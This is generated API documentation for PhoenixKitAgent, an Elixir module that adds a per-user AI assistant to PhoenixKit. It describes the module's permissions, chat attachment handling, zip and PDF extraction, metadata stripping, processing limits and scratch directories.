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PhoenixKitAgent 
    



      
AI agent module for PhoenixKit.
A personal assistant inside a PhoenixKit application: per-user chats kept
in the database, files attached to messages, a managed system prompt, and a
model-and-tools loop over the PhoenixKit API registry. Model calls, endpoints,
credentials, budget and the request journal come from phoenix_kit_ai.
System Management
	enabled?/0 - Check if the agent module is enabled (default: off)
	enable_system/0 - Enable the agent module
	disable_system/0 - Disable the agent module

Permissions
	agent — use the assistant.
	agent.manage — the module defaults, other users' settings and spending.
Core gives every module sub-key to the Admin role automatically, so Admin
holds agent.manage from the first boot; that is accepted (spec §8).

There is deliberately no agent.view_all: auto-granted to Admin, it would
open every user's chats — with the customer data their tool results hold —
to every Admin.
Data
Tables come from the module's own migration chain
(PhoenixKitAgent.Migrations); attachment bytes live in a hidden Storage
library (PhoenixKitAgent.Library); module settings are read through
PhoenixKitAgent.Config. Deleting a user runs
PhoenixKitAgent.UserDeletion first.

      


      
        Summary


  
    Functions
  


    
      
        ai_tasks()

      


        The AI tasks of the module, for the guard of phoenix_kit_ai
(PhoenixKitAI.Tasks)



    


    
      
        before_user_delete(user_uuid)

      


        Before a user row is deleted: removes their attachment files from the
module's hidden library (only files nothing else uses), their folder there,
and their uuid from other users' notice lists and from the limit watchers.
Their rows in the module's tables go with the user (ON DELETE CASCADE).
See PhoenixKitAgent.UserDeletion.



    


    
      
        disable_system()

      


        Disables the agent module.



    


    
      
        enable_system()

      


        Enables the agent module.



    


    
      
        enabled?()

      


        Returns whether the agent module is enabled. Defaults to false, including
when the setting cannot be read.



    


    
      
        handle_ai_usage(request)

      


        The phoenix_kit_ai usage sink: a request row whose attribution names an
assistant message ("agent_message_uuid") is linked to it
(messages.ai_request_uuid). See PhoenixKitAgent.Turns.Runner.



    


    
      
        header_widget_session(assigns)

      


        The session of the chat panel, from the admin layout's assigns: the user's
uuid and locale and nothing else, or nil — no panel — when the module is
off, the session's scope does not hold agent, or the layout says the
account is borrowed (:impersonating?, a hint only: the panel checks the
session itself in its connected mount). Runs on every render of the layout,
so it reads only the scope and the cached module switch.



    


    
      
        header_widgets()

      


        The assistant in the admin header (spec §10): the chat panel
PhoenixKitAgent.Web.Dock, before the notifications bell, in the dock
column. Its session comes from header_widget_session/1.



    


    
      
        notification_types()

      


        The notification type of the module: "agent_limit", what the watchers get
when someone reaches a limit of the assistant (PhoenixKitAgent.Limits). A
refusal of the AI budget is told by phoenix_kit_ai, under its own type. A
watcher can switch it off for themselves.



    





      


      
        Functions


        


  
    
      
    
    
      ai_tasks()



        
          
        

    

  


  

      

          @spec ai_tasks() :: [PhoenixKitAI.TaskSpec.t()]


      


The AI tasks of the module, for the guard of phoenix_kit_ai
(PhoenixKitAI.Tasks):
	agent.chat — the model calls of a turn. They need tools. A turn is
admitted once (PhoenixKitAI.Guard.admit/4 in PhoenixKitAgent.Turns),
and the model may flag a request as off-purpose (self_flag).
	agent.attachment — a picture described by the vision model. It needs
images in.

Both are private: only holders of ai.manage see the reasons of their
flags and blocks. Both share the free_text block group with the AI
Playground. The module keeps its own per-user limits
(PhoenixKitAgent.Limits), so the guard has no user limits for them
(user_limits: false), only the limits of the task.
typical_tokens of the chat is the median of the assistant's calls
on a running site.

  



  
    
      
    
    
      before_user_delete(user_uuid)



        
          
        

    

  


  

Before a user row is deleted: removes their attachment files from the
module's hidden library (only files nothing else uses), their folder there,
and their uuid from other users' notice lists and from the limit watchers.
Their rows in the module's tables go with the user (ON DELETE CASCADE).
See PhoenixKitAgent.UserDeletion.

  



  
    
      
    
    
      disable_system()



        
          
        

    

  


  

      

          @spec disable_system() :: {:ok, term()} | {:error, term()}


      


Disables the agent module.

  



  
    
      
    
    
      enable_system()



        
          
        

    

  


  

      

          @spec enable_system() :: {:ok, term()} | {:error, term()}


      


Enables the agent module.

  



  
    
      
    
    
      enabled?()



        
          
        

    

  


  

      

          @spec enabled?() :: boolean()


      


Returns whether the agent module is enabled. Defaults to false, including
when the setting cannot be read.

  



  
    
      
    
    
      handle_ai_usage(request)



        
          
        

    

  


  

      

          @spec handle_ai_usage(struct()) :: :ok


      


The phoenix_kit_ai usage sink: a request row whose attribution names an
assistant message ("agent_message_uuid") is linked to it
(messages.ai_request_uuid). See PhoenixKitAgent.Turns.Runner.

  



  
    
      
    
    
      header_widget_session(assigns)



        
          
        

    

  


  

      

          @spec header_widget_session(map()) ::
  %{required(String.t()) => String.t() | nil} | nil


      


The session of the chat panel, from the admin layout's assigns: the user's
uuid and locale and nothing else, or nil — no panel — when the module is
off, the session's scope does not hold agent, or the layout says the
account is borrowed (:impersonating?, a hint only: the panel checks the
session itself in its connected mount). Runs on every render of the layout,
so it reads only the scope and the cached module switch.

  



  
    
      
    
    
      header_widgets()



        
          
        

    

  


  

The assistant in the admin header (spec §10): the chat panel
PhoenixKitAgent.Web.Dock, before the notifications bell, in the dock
column. Its session comes from header_widget_session/1.

  



  
    
      
    
    
      notification_types()



        
          
        

    

  


  

The notification type of the module: "agent_limit", what the watchers get
when someone reaches a limit of the assistant (PhoenixKitAgent.Limits). A
refusal of the AI budget is told by phoenix_kit_ai, under its own type. A
watcher can switch it off for themselves.

  


        

      


  

    
PhoenixKitAgent.Attachments 
    



      
Files attached to a chat (spec §5.3, §9).
Like PhoenixKitAgent.Conversations, every function acts for a live
browser session: the {session_token_uuid, user_uuid} reference and, in
the options, impersonated: boolean (PhoenixKitAgent.Conversations has the
checks that come first and their refusals: an impersonated or revoked
session, a user without agent, a chat that is not the user's). The owner
is the only one who adds a file to a chat, reads its row, discards it or is
given the address of its bytes; an Owner or an Admin of the site is no
exception here.
Adding a file
add/4 takes the file the Dock got from allow_upload (its temporary
path and the name and type the browser gave), checks it, keeps it and starts
its processing, and returns the row as pending. In order:
	the chat is the session user's; the upload is a readable, non-empty
file no larger than max_attachment_mb (the size is read from the file,
not believed from the caller);
	the content tells the kind (PhoenixKitAgent.Attachments.Detect):
png/jpg/webp/heic, pdf, xlsx/csv, txt/md; anything else is
:unsupported_type. A picture for a user whose model is not known to
take images, while the module has no vision model to describe it, is
:no_vision_model here, before anything is stored (see the processor);
	the chat has room: no more than max_attachments_per_message files that
are not part of a message yet (a failed one takes no room there), and
the user has no more than unsent_files (Attachments.Bounds) files of
any status waiting in all their chats that are not deleted — a failed one stays until it is
discarded, and counts here. The count and the row are made under a lock
on the chat, so parallel uploads cannot pass it;
	the bytes are stored in the module's hidden Storage library, in the
user's folder (PhoenixKitAgent.Library), uploaded by the user — a
Manager with media.view_all neither sees nor reads them, and the
permanent file token is refused; the file is not in Media. The same
bytes of the same user are one Storage file, as in any library. Storage
is given a neutral name for the file (the row keeps the user's), since
Storage writes the name to its own log lines and job arguments;
	PhoenixKitAgent.Attachments.Processor works on the file in a task.

add/4 writes to Storage and may take long: call it off the LiveView
process. The row's status goes pending → ready | failed; when it
does the chat's topic (PhoenixKitAgent.Conversations.topic/1) hears
{:agent_attachment_processed, conversation_uuid, attachment_uuid}, and the
listener reads the row with get/3. error of a failed row is a code (see
the processor), never text of the file.
The row add/4 returns is pending as it was when processing started, and
a small file can be processed — and its message sent — before the caller has
that return value. So a listener must not let it replace a row it already
read as ready or failed: after add/4 returns, read the row again with
get/3 (or keep whichever of the two is settled).
Sending
A ready attachment that belongs to the user and to the chat is passed to
PhoenixKitAgent.Turns.start/6 by uuid; the turn links it to the user
message it stores. Its extracted text goes with the message and stays in the
history, the attachments of one message sharing agent_history_chars
between them; a picture's pixels go only in the turn of that message (and,
for a model that sees, are not described afterwards: later turns carry a line
that names the picture and the assistant's own answer). When the provider
refuses the first model call of a turn that carries pictures, the turn takes
its files off the message again (PhoenixKitAgent.Turns.Runner) — only a
refusal of the request itself (400, 413, 415, 422), not a missing model or
a failure of the provider. So does a turn whose model is no longer known to
take images: the pixels are not sent, the model is not called, and a notice
(pictures_not_seen) says to attach the files again, to be described. After
a turn has ended, list_unsent/3 is the list to show.
The bytes
Nobody but the owner gets at them, and only through url/3: an expiring
address of the file in Storage, minted for the session's own scope.
Refusals
Those of PhoenixKitAgent.Conversations, and :file_unreadable,
:empty_file, :too_large, :unsupported_type, :unsupported_encoding (a
text, CSV or Markdown file that is not UTF-8: save it as UTF-8),
:no_vision_model, :too_many, :storage_unavailable, :already_sent.
A row that is still pending after the processing deadline and a margin (the
node was restarted, the task was lost) is settled as failed/timeout the
next time the user's rows are read, so it neither blocks a message nor holds
a place; the Dock offers to discard it like any failed one.

      


      
        Summary


  
    Types
  


    
      
        refusal()

      


        Why a call was refused.



    


    
      
        upload()

      


        The file as the Dock got it from allow_upload. A content_type the browser
claims may be there; it is not looked at, the content tells what the file is.



    





  
    Functions
  


    
      
        add(session_ref, conversation_uuid, upload, opts)

      


        Adds upload to the session user's chat (see the moduledoc). Returns the
pending row; the file's processing has started. Read the row again with
get/3 afterwards: it may be settled already (see "Adding a file").



    


    
      
        discard(session_ref, attachment_uuid, opts)

      


        Removes a file that has not been sent yet from the chat, and its bytes from
Storage unless another attachment (or anything else) still uses them; a file
that is part of a message is {:error, :already_sent}.



    


    
      
        get(session_ref, attachment_uuid, opts)

      


        The session user's attachment attachment_uuid.



    


    
      
        list_unsent(session_ref, conversation_uuid, opts)

      


        The files of the chat that wait for a message, oldest first, whatever their
status (a failed one is there to be seen and discarded).



    


    
      
        pixels?(attachment)

      


        Whether the model is shown this attachment as pixels: a ready picture, or
a scanned PDF, that has no text.



    


    
      
        url(session_ref, attachment_uuid, opts)

      


        An expiring address of the bytes of the user's attachment, minted for the
session's own scope (variant: "original" by default, or a Storage
variant such as "thumbnail" of a picture).



    





      


      
        Types


        


  
    
      
    
    
      refusal()



        
          
        

    

  


  

      

          @type refusal() ::
  PhoenixKitAgent.Conversations.refusal()
  | :file_unreadable
  | :empty_file
  | :too_large
  | :unsupported_type
  | :unsupported_encoding
  | :no_vision_model
  | :too_many
  | :storage_unavailable
  | :already_sent


      


Why a call was refused.

  



  
    
      
    
    
      upload()



        
          
        

    

  


  

      

          @type upload() :: %{
  :path => Path.t(),
  :filename => String.t(),
  optional(:content_type) => String.t() | nil
}


      


The file as the Dock got it from allow_upload. A content_type the browser
claims may be there; it is not looked at, the content tells what the file is.
path is trusted. It must be the temporary file of LiveView's upload
(consume_uploaded_entries/3) and nothing a client sent: whatever regular
file it names is read and stored in the user's chat. The filename is the
client's and is only kept as a label.

  


        

      

      
        Functions


        


  
    
      
    
    
      add(session_ref, conversation_uuid, upload, opts)



        
          
        

    

  


  

      

          @spec add(PhoenixKitAgent.Conversations.session_ref(), term(), upload(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.Attachment.t()} | {:error, refusal()}


      


Adds upload to the session user's chat (see the moduledoc). Returns the
pending row; the file's processing has started. Read the row again with
get/3 afterwards: it may be settled already (see "Adding a file").

  



  
    
      
    
    
      discard(session_ref, attachment_uuid, opts)



        
          
        

    

  


  

      

          @spec discard(PhoenixKitAgent.Conversations.session_ref(), term(), keyword()) ::
  :ok | {:error, refusal()}


      


Removes a file that has not been sent yet from the chat, and its bytes from
Storage unless another attachment (or anything else) still uses them; a file
that is part of a message is {:error, :already_sent}.

  



  
    
      
    
    
      get(session_ref, attachment_uuid, opts)



        
          
        

    

  


  

      

          @spec get(PhoenixKitAgent.Conversations.session_ref(), term(), keyword()) ::
  {:ok, PhoenixKitAgent.Schemas.Attachment.t()} | {:error, refusal()}


      


The session user's attachment attachment_uuid.

  



  
    
      
    
    
      list_unsent(session_ref, conversation_uuid, opts)



        
          
        

    

  


  

      

          @spec list_unsent(PhoenixKitAgent.Conversations.session_ref(), term(), keyword()) ::
  {:ok, [PhoenixKitAgent.Schemas.Attachment.t()]} | {:error, refusal()}


      


The files of the chat that wait for a message, oldest first, whatever their
status (a failed one is there to be seen and discarded).

  



  
    
      
    
    
      pixels?(attachment)



        
          
        

    

  


  

      

          @spec pixels?(PhoenixKitAgent.Schemas.Attachment.t()) :: boolean()


      


Whether the model is shown this attachment as pixels: a ready picture, or
a scanned PDF, that has no text.

  



  
    
      
    
    
      url(session_ref, attachment_uuid, opts)



        
          
        

    

  


  

      

          @spec url(PhoenixKitAgent.Conversations.session_ref(), term(), keyword()) ::
  {:ok, String.t()} | {:error, refusal()}


      


An expiring address of the bytes of the user's attachment, minted for the
session's own scope (variant: "original" by default, or a Storage
variant such as "thumbnail" of a picture).

  


        

      


  

    
PhoenixKitAgent.Attachments.Bounds 
    



      
The technical bounds of attachment processing (spec §9): how much of a file
the model is given and how long the work may take. They are not settings of
the module; a host or a test may override them with config :phoenix_kit_agent, attachment_limits: [text_chars: …].
	Key	Default	Meaning
	text_chars	16_000	characters of one attachment's text (a PDF, a text file, a sheet, a description); in a message the attachments share agent_history_chars between them, so each gets at most that divided by their number
	sheet_rows	200	rows of each sheet or of a CSV file
	sheets	10	sheets of one workbook
	sheet_unzipped_bytes	40_000_000	what a workbook may unpack to. Its parts are held in memory, and read a second time by the sheet reader: a job of this size takes up to about twice as much (80 MB) of binary memory outside the worker's heap limit
	pdf_text_pages	50	pages whose text is read
	scan_pages	3	pages of a scan that become pictures
	min_pdf_text_chars	20	below this a PDF has no text, it is a scan
	process_deadline_ms	120_000	the whole processing of one attachment
	tool_timeout_s	60	one run of pdftotext, pdftoppm or ImageMagick
	worker_heap_words	32_000_000	the heap of one worker, in words of 8 bytes (256 MB); over it the worker is killed and the file is too_large
	concurrent_jobs	8	files processed at the same time on the node; the others wait (Attachments.Slots). The memory ceiling of a node is this times the largest job: with workbooks, about 8 × 80 MB of binaries
	jobs_per_user	3	of those, how many one user's files may take; the rest of theirs wait
	queue_wait_ms	30_000	how long a file waits for a place; then it is unavailable
	queued_jobs	64	files waiting for a place on the node; more are unavailable at once
	unsent_files	20	files of one user that wait for a message (any status, a failed one included)

A picture is shrunk to image_px/0 (1600) on its long side.

      


      
        Summary


  
    Functions
  


    
      
        get(key)

      


        The value of key (see the moduledoc).



    


    
      
        image_px()

      


        The longest side a picture sent to a model may have, in pixels.



    





      


      
        Functions


        


  
    
      
    
    
      get(key)



        
          
        

    

  


  

      

          @spec get(atom()) :: non_neg_integer()


      


The value of key (see the moduledoc).

  



  
    
      
    
    
      image_px()



        
          
        

    

  


  

      

          @spec image_px() :: pos_integer()


      


The longest side a picture sent to a model may have, in pixels.

  


        

      


  

    
PhoenixKitAgent.Attachments.Cmd 
    



      
Runs the external programs of attachment processing (pdfinfo, pdftotext,
pdftoppm — poppler) with a time limit, and says plainly when one is not
installed. What a program prints is never returned or logged on failure: it
can quote the file.

      


      
        Summary


  
    Types
  


    
      
        failure()

      


        Why a program did not give its result.



    





  
    Functions
  


    
      
        available?(tool)

      


        Whether the program is installed.



    


    
      
        run(tool, args)

      


        Runs tool with args. {:ok, output} (stdout and stderr) when it exits
with 0.



    





      


      
        Types


        


  
    
      
    
    
      failure()



        
          
        

    

  


  

      

          @type failure() :: :tool_missing | :timeout | :failed


      


Why a program did not give its result.

  


        

      

      
        Functions


        


  
    
      
    
    
      available?(tool)



        
          
        

    

  


  

      

          @spec available?(String.t()) :: boolean()


      


Whether the program is installed.

  



  
    
      
    
    
      run(tool, args)



        
          
        

    

  


  

      

          @spec run(String.t(), [String.t()]) :: {:ok, String.t()} | {:error, failure()}


      


Runs tool with args. {:ok, output} (stdout and stderr) when it exits
with 0.

  


        

      


  

    
PhoenixKitAgent.Attachments.Detect 
    



      
What an uploaded file is, told by its content (spec §9: png/jpg/webp/heic,
pdf, xlsx/csv, txt/md).
The first bytes decide for everything that has a signature — a picture, a
PDF, a workbook (a zip with xl/workbook.xml); the name and the type the
browser claimed are never believed against them. Only a file without any
signature may be text, and then it must really be text (no NUL byte, valid
UTF-8 at the start) and its extension picks .csv, .txt or .md. A
file whose bytes are another known format (a GIF, an SVG, a Word document,
an executable) or a binary named .txt is {:error, :unsupported_type}.
A file named like a text file that is text in another encoding — what Excel
writes as "CSV" or "Unicode text" in many locales (Windows-1251, Windows-1252,
UTF-16) — is {:error, :unsupported_encoding}, so that the user is told to
save it as UTF-8 and not that the file is of a kind that is not accepted.

      


      
        Summary


  
    Types
  


    
      
        detected()

      


        The kind of an attachment (Attachment.kinds/0), its type and the extension to store it by.



    





  
    Functions
  


    
      
        detect(path, filename)

      


        Tells the kind of the file at path, called filename by the uploader.



    





      


      
        Types


        


  
    
      
    
    
      detected()



        
          
        

    

  


  

      

          @type detected() :: %{kind: String.t(), content_type: String.t(), ext: String.t()}


      


The kind of an attachment (Attachment.kinds/0), its type and the extension to store it by.

  


        

      

      
        Functions


        


  
    
      
    
    
      detect(path, filename)



        
          
        

    

  


  

      

          @spec detect(Path.t(), String.t()) ::
  {:ok, detected()} | {:error, :unsupported_type | :unsupported_encoding}


      


Tells the kind of the file at path, called filename by the uploader.

  


        

      


  

    
PhoenixKitAgent.Attachments.Extract 
    



      
Turns the bytes of an attachment into what the model reads (spec §9): the
text of a text file, a CSV file or a PDF; CSV text of a workbook; JPEG or
PNG pictures of an image or of the first pages of a scan.
Every function takes the path of a file already read from Storage and
answers {:ok, result} or {:error, code}; the codes are the ones the
attachment row keeps in error (unreadable, too_large,
pdf_tools_missing, image_tools_missing) and say nothing of the content.
A file that makes a parser raise is unreadable; what the parser said is
dropped, as it can quote the file.
What is not shown
A text that holds less than the file is truncated, and says so where it
ends, in a line the model reads with it (continues/1): [... the file continues: 12 more rows not shown in full], [... the sheet continues: 1240 of 1300 rows not shown in full], [... the workbook continues: 2 more sheets not shown: Q3, Q4], [... the document continues: 38 of 50 pages not shown in full] — so that a total or a count is not taken from part of the data
without a word. These lines are not counted in text_chars.
A workbook's sheets share text_chars: a sheet that needs less than an
equal share leaves the rest to the others, and each is cut between rows, so
one large sheet does not push the others out.

      


      
        Summary


  
    Types
  


    
      
        pdf_text()

      


        The text of a PDF, with how many pages it has.



    


    
      
        text()

      


        Text for the model, cut to the limit; truncated when the file had more.



    





  
    Functions
  


    
      
        csv(path)

      


        The first rows of a CSV file, as written in it (any delimiter).



    


    
      
        pdf(path)

      


        The text of a PDF (pdftotext) with its page count. {:ok, {:scan, pages}}
when it holds (almost) no text: a scan, to be read as pictures.



    


    
      
        pdf_pages(path)

      


        The first pages of a PDF as PNG binaries (at most scan_pages, 1600 px on the long side) and the page count.



    


    
      
        picture(path)

      


        A picture as a JPEG whose long side is at most 1600 px (never enlarged),
upright, on white where it was transparent, without its camera metadata
(EXIF with the place and time of a photo, XMP, IPTC, comments:
PhoenixKitAgent.Attachments.Jpeg.strip_metadata/1) — what goes to a model
provider is the picture, not where it was taken.



    


    
      
        text(path)

      


        The start of a text file as text (a byte order mark and NUL bytes dropped).
A byte that is not UTF-8 shows as U+FFFD, it is not silently left out.



    


    
      
        xlsx(path)

      


        A workbook as CSV: for each sheet (hidden ones left out) a ## Name line and
its first rows, blank rows skipped, each sheet within its share of
text_chars (see the moduledoc). The parts of the workbook are inflated
by PhoenixKitAgent.Attachments.Unzip, which counts the bytes it produces
and does not believe the sizes the file declares: one that unpacks to more
than the limit is :too_large, however it was forged, and is not opened.



    





      


      
        Types


        


  
    
      
    
    
      pdf_text()



        
          
        

    

  


  

      

          @type pdf_text() :: %{text: String.t(), pages: pos_integer(), truncated: boolean()}


      


The text of a PDF, with how many pages it has.

  



  
    
      
    
    
      text()



        
          
        

    

  


  

      

          @type text() :: %{text: String.t(), truncated: boolean()}


      


Text for the model, cut to the limit; truncated when the file had more.

  


        

      

      
        Functions


        


  
    
      
    
    
      csv(path)



        
          
        

    

  


  

      

          @spec csv(Path.t()) :: {:ok, text()} | {:error, :unreadable}


      


The first rows of a CSV file, as written in it (any delimiter).

  



  
    
      
    
    
      pdf(path)



        
          
        

    

  


  

      

          @spec pdf(Path.t()) ::
  {:ok, pdf_text()}
  | {:ok, {:scan, pos_integer()}}
  | {:error, :unreadable | :pdf_tools_missing}


      


The text of a PDF (pdftotext) with its page count. {:ok, {:scan, pages}}
when it holds (almost) no text: a scan, to be read as pictures.

  



  
    
      
    
    
      pdf_pages(path)



        
          
        

    

  


  

      

          @spec pdf_pages(Path.t()) ::
  {:ok, [binary()], pos_integer()} | {:error, :unreadable | :pdf_tools_missing}


      


The first pages of a PDF as PNG binaries (at most scan_pages, 1600 px on the long side) and the page count.

  



  
    
      
    
    
      picture(path)



        
          
        

    

  


  

      

          @spec picture(Path.t()) ::
  {:ok, binary()} | {:error, :unreadable | :image_tools_missing}


      


A picture as a JPEG whose long side is at most 1600 px (never enlarged),
upright, on white where it was transparent, without its camera metadata
(EXIF with the place and time of a photo, XMP, IPTC, comments:
PhoenixKitAgent.Attachments.Jpeg.strip_metadata/1) — what goes to a model
provider is the picture, not where it was taken.

  



  
    
      
    
    
      text(path)



        
          
        

    

  


  

      

          @spec text(Path.t()) :: {:ok, text()} | {:error, :unreadable}


      


The start of a text file as text (a byte order mark and NUL bytes dropped).
A byte that is not UTF-8 shows as U+FFFD, it is not silently left out.

  



  
    
      
    
    
      xlsx(path)



        
          
        

    

  


  

      

          @spec xlsx(Path.t()) :: {:ok, text()} | {:error, :unreadable | :too_large}


      


A workbook as CSV: for each sheet (hidden ones left out) a ## Name line and
its first rows, blank rows skipped, each sheet within its share of
text_chars (see the moduledoc). The parts of the workbook are inflated
by PhoenixKitAgent.Attachments.Unzip, which counts the bytes it produces
and does not believe the sizes the file declares: one that unpacks to more
than the limit is :too_large, however it was forged, and is not opened.

  


        

      


  

    
PhoenixKitAgent.Attachments.Jpeg 
    



      
Takes the metadata out of a JPEG, without decoding or re-encoding it.
A photo carries the make and time of the camera and, often, the place it was
taken (EXIF, in an APP1 segment), also XMP, IPTC (APP13) and comments. A
picture on its way to a model provider is the picture alone. The segments
before the image data are walked and those are dropped; APP0 (JFIF), APP14
(Adobe: how the colours are stored), the tables and the frame stay, and the
image data is copied as it is, so the pixels do not change.

      


      
        Summary


  
    Functions
  


    
      
        strip_metadata(arg1)

      


        bytes without EXIF, XMP, IPTC, the ICC profile and comments. {:error, :unreadable} when they do not start like a JPEG or the segments before the
image do not add up.



    





      


      
        Functions


        


  
    
      
    
    
      strip_metadata(arg1)



        
          
        

    

  


  

      

          @spec strip_metadata(binary()) :: {:ok, binary()} | {:error, :unreadable}


      


bytes without EXIF, XMP, IPTC, the ICC profile and comments. {:error, :unreadable} when they do not start like a JPEG or the segments before the
image do not add up.

  


        

      


  

    
PhoenixKitAgent.Attachments.Processor 
    



      
The work done on an attachment before the turn that sends it (spec §9), in a
task under PhoenixKitAgent.Attachments.TaskSupervisor: the row goes from
pending to ready with what the model will read, or to failed with a
code in error; the chat's topic then hears {:agent_attachment_processed, conversation_uuid, attachment_uuid}.
	text and sheet — the text, or the CSV, cut to the limits of
PhoenixKitAgent.Attachments.Bounds; truncated says it was cut;
	pdf — its text (pdftotext); a PDF with no text is a scan and is read
like a picture, from its first pages;
	image — checked to be a picture ImageMagick can read.

A picture (or a scan) is shown to the model in one of two ways, decided here
by the user's model as it is now (PhoenixKitAgent.Models.image_input/1,
picture_mode/1):
	the model is known to take images: the row stays without text — the turn
sends the pixels, in its own message only
(PhoenixKitAgent.Attachments.pictures/1); later turns carry a line that
names the file, and the assistant's own answer about it;
	it is known not to, or its abilities are not known (a provider without a
model listing, a model that declares nothing): it is taken for a blind
one, and the vision model of the module (agent_vision_endpoint_uuid)
describes the picture once, now; the description is the row's text,
which the history keeps. With no vision model a picture is refused by
PhoenixKitAgent.Attachments.add/4 before it is stored, and a scan
(known to be one only here) failed as no_vision_model. The vision
call is paid, so right before it is made the AI module must be on
(ai_disabled otherwise), the session that added the file must still
be one that may use the assistant (session_gone or forbidden), and
the user must be within their limits (limit_reached) — the money
limits as they apply to a description on the vision endpoint
(PhoenixKitAgent.Limits.money_counted?/2 with :vision: priced like
a chat call — the provider's cost, a catalogue, a manual or a list
price): one that nothing prices is held by the turn limit only. One
user's descriptions are made one at a time (a :global lock per user,
on every connected node), so each is checked against a journal that
holds what the one before cost. The call carries the user and
source: "agent" — the spending limits count it — and its content is
never written to the AI journal.

Failing safely
A task never lives for ever (process_deadline_ms, then timeout), is kept
to a heap size (a file that needs more is too_large), and turns every
exception into a code; the codes are unreadable, too_large,
pdf_tools_missing, image_tools_missing, no_vision_model,
ai_disabled, session_gone, forbidden, limit_reached,
budget_exceeded, model_error, timeout, crashed,
unavailable (no place within queue_wait_ms, see Attachments.Slots, or no
scratch space), and the refusals of the AI guard for the agent.attachment
task: task_blocked, task_limit_exceeded, model_unfit,
model_unverified, no_provider_for_params.
The work is two processes: a job under TaskSupervisor, which waits for
a place (at most concurrent_jobs jobs hold one, jobs_per_user of them
one user's), makes the scratch directory (Attachments.Work),
and the worker under WorkerSupervisor, which reads the file in it. The
job removes the directory when the worker is done or killed. The file's content, what a parser said
about it and what the model answered never reach the log — not as a message,
nor in a crash report.

      


      
        Summary


  
    Types
  


    
      
        result()

      


        What the task found: the fields of the row to store.



    





  
    Functions
  


    
      
        start(uuid, user_uuid, session_ref)

      


        Starts the processing of the pending attachment uuid of the user
user_uuid, added in the browser session session_ref (checked again
before a paid call), and returns at once. The task waits for a place
(PhoenixKitAgent.Attachments.Slots) before it does any work.



    





      


      
        Types


        


  
    
      
    
    
      result()



        
          
        

    

  


  

      

          @type result() :: {:ok, map()} | {:error, atom()}


      


What the task found: the fields of the row to store.

  


        

      

      
        Functions


        


  
    
      
    
    
      start(uuid, user_uuid, session_ref)



        
          
        

    

  


  

      

          @spec start(String.t(), String.t(), PhoenixKitAgent.Conversations.session_ref()) ::
  :ok


      


Starts the processing of the pending attachment uuid of the user
user_uuid, added in the browser session session_ref (checked again
before a paid call), and returns at once. The task waits for a place
(PhoenixKitAgent.Attachments.Slots) before it does any work.

  


        

      


  

    
PhoenixKitAgent.Attachments.Slots 
    



      
The places for work on files on the node (spec §9): at most
Bounds concurrent_jobs files are processed at the same time, of whom at
most jobs_per_user are one user's. A file that finds no place waits for
one, in turn, up to queue_wait_ms; with queued_jobs waiting already, or
when the time is up, it is refused ({:error, :unavailable}) and the file
failed as unavailable.
A place is held by the process that took it and is free when that process
ends, however it ends; a waiting process that ends leaves the queue. The
limits are read at each decision, so changing them needs no restart. Users
are told apart by uuid only; nothing of a file is known here.

      


      
        Summary


  
    Functions
  


    
      
        acquire(user_uuid, server \\ __MODULE__)

      


        A place for the calling process, for user_uuid: :ok once there is one,
{:error, :unavailable} when there is no room in the queue or the wait is
over (or the slots are not running). The place is held until the caller ends.



    


    
      
        child_spec(init_arg)

      


        Returns a specification to start this module under a supervisor.



    





      


      
        Functions


        


    

  
    
      
    
    
      acquire(user_uuid, server \\ __MODULE__)



        
          
        

    

  


  

      

          @spec acquire(String.t(), GenServer.server()) :: :ok | {:error, :unavailable}


      


A place for the calling process, for user_uuid: :ok once there is one,
{:error, :unavailable} when there is no room in the queue or the wait is
over (or the slots are not running). The place is held until the caller ends.

  



  
    
      
    
    
      child_spec(init_arg)



        
          
        

    

  


  

Returns a specification to start this module under a supervisor.
See Supervisor.

  


        

      


  

    
PhoenixKitAgent.Attachments.Unzip 
    



      
Reads the parts of a workbook out of an uploaded zip without trusting it.
The sizes in a zip's central directory are written by whoever made the file:
a forged archive can say a part is a kilobyte and inflate to gigabytes, and
:zip.extract/2 believes it. Here no declared size is believed. Each part is
inflated in chunks while the bytes produced are counted, against one budget
for the whole archive; the moment it is spent the reading stops with
:too_large, whatever the headers claimed. How many parts are read is
bounded too, so is the input read for one part (the archive's own size).
Only the parts a workbook is read from are taken ([Content_Types].xml and
the XML and relationship files under xl/); the rest (pictures, charts,
macros) is never inflated. workbook/2 gives them back as a new, honest zip
made here, which is what XlsxReader opens.

      


      
        Summary


  
    Types
  


    
      
        failure()

      


        Why a workbook was not read.



    





  
    Functions
  


    
      
        read(path, budget)

      


        The parts as [{name, binary}], within budget bytes of inflated data.



    


    
      
        workbook(path, budget)

      


        The workbook parts of the zip at path, inflated within budget bytes in
all, as the binary of a new zip.



    





      


      
        Types


        


  
    
      
    
    
      failure()



        
          
        

    

  


  

      

          @type failure() :: :too_large | :unreadable


      


Why a workbook was not read.

  


        

      

      
        Functions


        


  
    
      
    
    
      read(path, budget)



        
          
        

    

  


  

      

          @spec read(Path.t(), non_neg_integer()) ::
  {:ok, [{String.t(), binary()}]} | {:error, failure()}


      


The parts as [{name, binary}], within budget bytes of inflated data.

  



  
    
      
    
    
      workbook(path, budget)



        
          
        

    

  


  

      

          @spec workbook(Path.t(), non_neg_integer()) :: {:ok, binary()} | {:error, failure()}


      


The workbook parts of the zip at path, inflated within budget bytes in
all, as the binary of a new zip.

  


        

      


  

    
PhoenixKitAgent.Attachments.Work 
    



      
The scratch space of attachment processing: a private directory tree in the
system's temporary directory (pk_agent_att/), where a user's file is copied
to be read and the pages of a scan are rendered.
Everything here is made for one user's data, so:
	the root and every directory in it are readable by the server's own user
only (mode 0700), and a directory's name is random and never reused
(File.mkdir/1 fails if it exists), so one run can never pick up
what an earlier, killed one left behind;
	the copy of a file is made inside such a directory (the destination is
ours, not a name Storage invents in /tmp), so whatever a killed worker
leaves is under one directory the supervising process removes;
	a directory that nothing removed (the node was killed, a turn was stopped
while it was reading a picture) is swept when its age is past the longest
time a job may take — at start-up and whenever a new one is made.

A worker adopt/1s the directory its supervisor made; the directories it
makes itself are then made inside it.

      


      
        Summary


  
    Functions
  


    
      
        adopt(dir)

      


        Makes dir the place this process's own directories are made in.



    


    
      
        create()

      


        A new, empty directory with a random name, 0700: inside the one this
process adopt/1ed, else in the root.



    


    
      
        fetch(file_uuid, dir)

      


        Copies the original of the Storage file file_uuid to a new file in dir
(readable by this user only) and returns its path.



    


    
      
        remove(dir)

      


        Removes dir and what is in it.



    


    
      
        root()

      


        The directory every scratch directory is made in.



    


    
      
        sweep()

      


        Removes the scratch directories older than the longest a job may take (plus
a margin). Returns how many were removed.



    


    
      
        with_dir(fun)

      


